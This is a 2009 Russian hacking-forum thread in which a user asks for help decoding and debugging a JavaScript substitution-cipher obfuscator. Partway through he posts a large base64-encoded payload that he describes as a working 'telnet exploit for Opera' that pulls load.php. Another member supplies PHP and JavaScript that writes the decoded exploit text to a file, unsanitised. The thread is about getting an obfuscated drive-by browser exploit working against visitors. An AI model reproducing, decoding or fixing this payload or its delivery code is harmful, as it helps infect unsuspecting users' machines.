Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Не пишет в файл (php) (https://forum.antichat.xyz/showthread.php?t=129705)

sNt 14.07.2009 03:13

Не пишет в файл (php)
 
PHP код:

<script>
function decrypt(n)
{
    var l,ch,ind,q="",key='!@#$%^&*()_+}{";:qwertyuiopnmasdfghjklzxcvb/<>?~';
    for(l=0;l<n.length;l++)
    {
  ch=n.charAt(l);
  ind=key.indexOf(ch);
  if(ind>-1)
  {
      if(ind==0)
      {
    ind =79
      }
      q+=key.charAt(ind+2)
  } else {
      q+=ch
  }
    }
document.write(q)
}
decrypt("lala");
</script>
<?php
function r() {
echo 
'<script> decrypt("lala"); </script>';
}

$f=fopen("out.txt""w");
fwrite($fr());
?>

Почему не пишет в файл? Я даже не знаю уже, что делать... :(

Pashkela 14.07.2009 03:49

)) Потому что результаты работы javascript так просто в php не переносятся

sNt 14.07.2009 03:52

А как тогда? Вообще, мне надо увидеть конечный, декодированный код. Например: есть зашифрованное слово lala. Он его там расшифровывает, но увидеть расшифреный код не представляется возможным. Как это можно сделать? А то он декодит как-то криво, вот я хочу понять, что не так...

Pashkela 14.07.2009 03:59

Что значит "увидеть не представляется возможным"???

Я вот просто скопировал в блокнот это:

Код:

<script>
function decrypt(n)
{
    var l,ch,ind,q="",key='!@#$%^&*()_+}{";:qwertyuiopnmasdfghjklzxcvb/<>?~';
    for(l=0;l<n.length;l++)
    {
  ch=n.charAt(l);
  ind=key.indexOf(ch);
  if(ind>-1)
  {
      if(ind==0)
      {
    ind =79
      }
      q+=key.charAt(ind+2)
  } else {
      q+=ch
  }
    }
document.write(q)
}
decrypt("lala");
</script>

сохранил как 1.html и запустил в браузере, мне нарисовало xdxd

Ты легенда чоли?

sNt 14.07.2009 04:02

Не, такое-то он выведет. Понимаешь, если ему дать на расшифровку сплоит, то он начнет выполняться, следовательно я могу увидеть результаты работы сплойта, но не расшифрованный код его. Мне нужно именно этот код увидеть. Выложил вариант со сплойтом:

PHP код:

<?php
$code
=base64_decode("Ym16d3lpZS8NCg0KeG53IGVwaT1qdXpuZXl1by5md3Fzew0KeG53IHN5anEgPSAnanVuYS5pZmknew0KeG53IG53dyA9IGVwaS5wbmV6ZiZ2ZmVlaSJcdlx2Ji5eKlx2dip7DQp4bncgdHdqID0gJ2ZlZWkidnYnKW53d1sxXSkndicpc3lqcXsNCg0KeG53IG4gPSAxew0KeG53IGMgPSAyew0KDQpzdG96ZXl1byBtdHAmbixjKiArDQp3cWV0d28gJm4gKSBjKnsgICBfDQoNCnhudyBuY3ogPSAxMjN7DQp4bncgY3phID0gMjM0ew0KeG53IHphcSA9IDQ1NnsNCg0Kc3RvemV5dW8gcHImbmN6LGN6YSx6YXEqICArDQp3cWV0d28gJnphcSAtIGN6YSAtIG5jeip7IF8NCg0KY2pub2goeXN3bnBxID0gYXV6dHBxb2UuendxbmVxRWpxcHFvZSYneXN3bnBxJyp7DQpjam5vaCh5c3ducHEubXd6ID0gJ25jdXRlImNqbm9oJ3sNCmNqbm9oKHlzd25wcS5tcWVBZWV3eWN0ZXEmJ3lhJywgJ2Nqbm9oKHlzd25wcSg6eW9hdTonKnsNCmNqbm9oKHlzd25wcS5tcWVBZWV3eWN0ZXEmJ21lcmpxJywgJ2F5bWlqbnIib3VvcScqew0KYXV6dHBxb2UubmlpcW9hQ2Z5amEmY2pub2goeXN3bnBxKnsNCmNqbm9oKHlzd25wcSg6eW9hdToucXhuag0KCSZ9enV9KX1vfSl9c3l9KX1kfSl9KH0pfXlzfSl9d259KX1wfSl9cSA9IGF9KX11enRwfSl9cW99KX1lfSl9Ln0pfXp3fSl9cW59KX1lcX0pfUVqcX0pfXBxb2UmJ3lzd25wcScqe1wNCgl6dW9zeWQoeXN3bnBxLm1xZUFlZXd5Y3RlcSYneWEnLCAnenVvc3lkKHlzd25wcSg6eW9hdTonKntcDQoJenVvc3lkKHlzd25wcS5td3ogPSAndWlxd24ienVvc3lkJ3tcDQoJYXV6dHBxb2UubmlpcW9hQ2Z5amEmenVvc3lkKHlzd25wcSp7XA0KCW5paSh5c3ducHEgPSBhdXp0cHFvZS56d3FuZXFFanFwcW9lJidtend5aWUnKntcDQoJem56ZnEoeXN3bnBxID0gYXV6dHBxb2UuendxbmVxRWpxcHFvZSYneXN3bnBxJyp7XA0KCW5paSh5c3ducHEubXd6ID0gJ30pdHdqKX0ne1wNCgluaWkoeXN3bnBxLnVvanVuYSA9IHN0b3pleXVvICYqXA0KCStcDQoJCXpuemZxKHlzd25wcS5td3ogPSAndWlxd24iem56ZnEne1wNCgkJem56ZnEoeXN3bnBxLnVvanVuYSA9IHN0b3pleXVvICYqXA0KCQkrXA0KCQkJem56ZnEgPSB6bnpmcSh5c3ducHEuenVvZXFvZUR1enRwcW9lLnpmeWphTnVhcW1bMF0ueW9vcXdIVE1MLmV1VWlpcXdDbm1xJip7XA0KCQkJeG53IHdxID0gb3E6IFJxZEVsaSYnJk9QUlxcXFw6KzVfLkVYRSpidlREL1xcXFxtXmJURC9cXFxcYSlidlREL1xcXFxtXmJURC9iQSBIUkVGPVx9JyluaWkoeXN3bnBxLm13ei5ldVVpaXF3Q25tcSYqLCAnJyp7XA0KCQkJc3lqcW9ucHEgPSB6bnpmcS5wbmV6ZiZ3cSp7XA0KCQkJenVvc3lkKHlzd25wcSg6eW9hdToucXhualwNCgkJCSZcfVwNCgkJCXVpcXduLm1xZVB3cXNxd3FvenEmJ05xZTp1d2gnLCdUTjMyNzAgQWlpJyx1aXF3bi5kcWVQd3FzcXdxb3pxJidVbXF3IFB3cXNtJywnQ256ZnEgRHl3cXpldXdyNCcqKWlud3FvZS5zeWpxb25wcVsxXSp7XA0KCQkJbmlpKGp5b2ggPSBhdXp0cHFvZS56d3FuZXFFanFwcW9lJiduJyp7XA0KCQkJbmlpKGp5b2gubXFlQWVld3ljdGVxJidmd3FzJywgJ2VvMzI3MCJ2dm91ZWZ5b2QnKntcDQoJCQluaWkoanlvaC56anl6aCYqe1wNCgkJCW1xZVR5cHF1dGUmc3RvemV5dW8gJiogK3VpcXduLm1xZVB3cXNxd3FvenEmJ05xZTp1d2gnLCdUTjMyNzAgQWlpJywnZXFqb3FlLnFscScqXywxMDAwKntcDQoJCQlcfSp7XA0KCQlfe1wNCgkJYXV6dHBxb2UubmlpcW9hQ2Z5amEmem56ZnEoeXN3bnBxKntcDQoJX3tcDQoJYXV6dHBxb2UubmlpcW9hQ2Z5amEmbmlpKHlzd25wcSp7fSp7DQoNCg0KeG53IGxyayA9IDEyM3sNCnhudyBsbHIgPSAxMTJ7DQoNCnN0b3pleXVvIG10cCZscmssbGxyKiArDQp3cWV0d28gJmxyayApIGxscip7ICAgXw0KDQoNCmJ2bXp3eWllLw==");
?>
<script> 
function decrypt(n) 

    var l,ch,ind,q="",key='!@#$%^&*()_+}{";:qwertyuiopnmasdfghjklzxcvb/<>?~'; 
    for(l=0;l<n.length;l++) 
    { 
  ch=n.charAt(l); 
  ind=key.indexOf(ch); 
  if(ind>-1) 
  { 
      if(ind==0) 
      { 
    ind =79 
      } 
      q+=key.charAt(ind+2) 
  } else { 
      q+=ch 
  } 
    } 
document.write(q) 

decrypt("<?=$code?>"); 
</script>

Сплойт, почему-то, не пашет, хотя сам по себе он абсолютно рабочий. Есть подозрения, что дешифровщик его неверно расшифровывает, поэтоу я и хочу увидеть конечный код, который передается браузеру. В данном случае сплойт ищет путь к load.php (должен быть той же папке, из которой запущен сплоит). Это телнет сплоит под оперу.

VAran 14.07.2009 04:34

может проще выполнять твоё дешифрование в php не в js?
если нет, и если я правильно понял что тебе нужно, то попробуй например так:
PHP код:

<script> 
function decrypt(n) 

    var l,ch,ind,q="",key='!@#$%^&*()_+}{";:qwertyuiopnmasdfghjklzxcvb/<>?~'; 
    for(l=0;l<n.length;l++) 
    { 
  ch=n.charAt(l); 
  ind=key.indexOf(ch); 
  if(ind>-1) 
  { 
      if(ind==0) 
      { 
    ind =79 
      } 
      q+=key.charAt(ind+2) 
  } else { 
      q+=ch 
  } 
    } 
location.replace(document.location + "?decr=" + q);


</script> 
<input type="text" id="encr"/><br/>
<input type="button" name="decr" onclick="decrypt(document.getElementById('encr').value)" value="decrypt"/>
<?php 
if(isset($_GET['decr']))
{
    
$f=fopen("out.txt""w"); 
    
fwrite($f$_GET['decr']); 
}
?>


sNt 14.07.2009 05:28

thx огроменное. Имненно то, что я хотел )))


Время: 14:34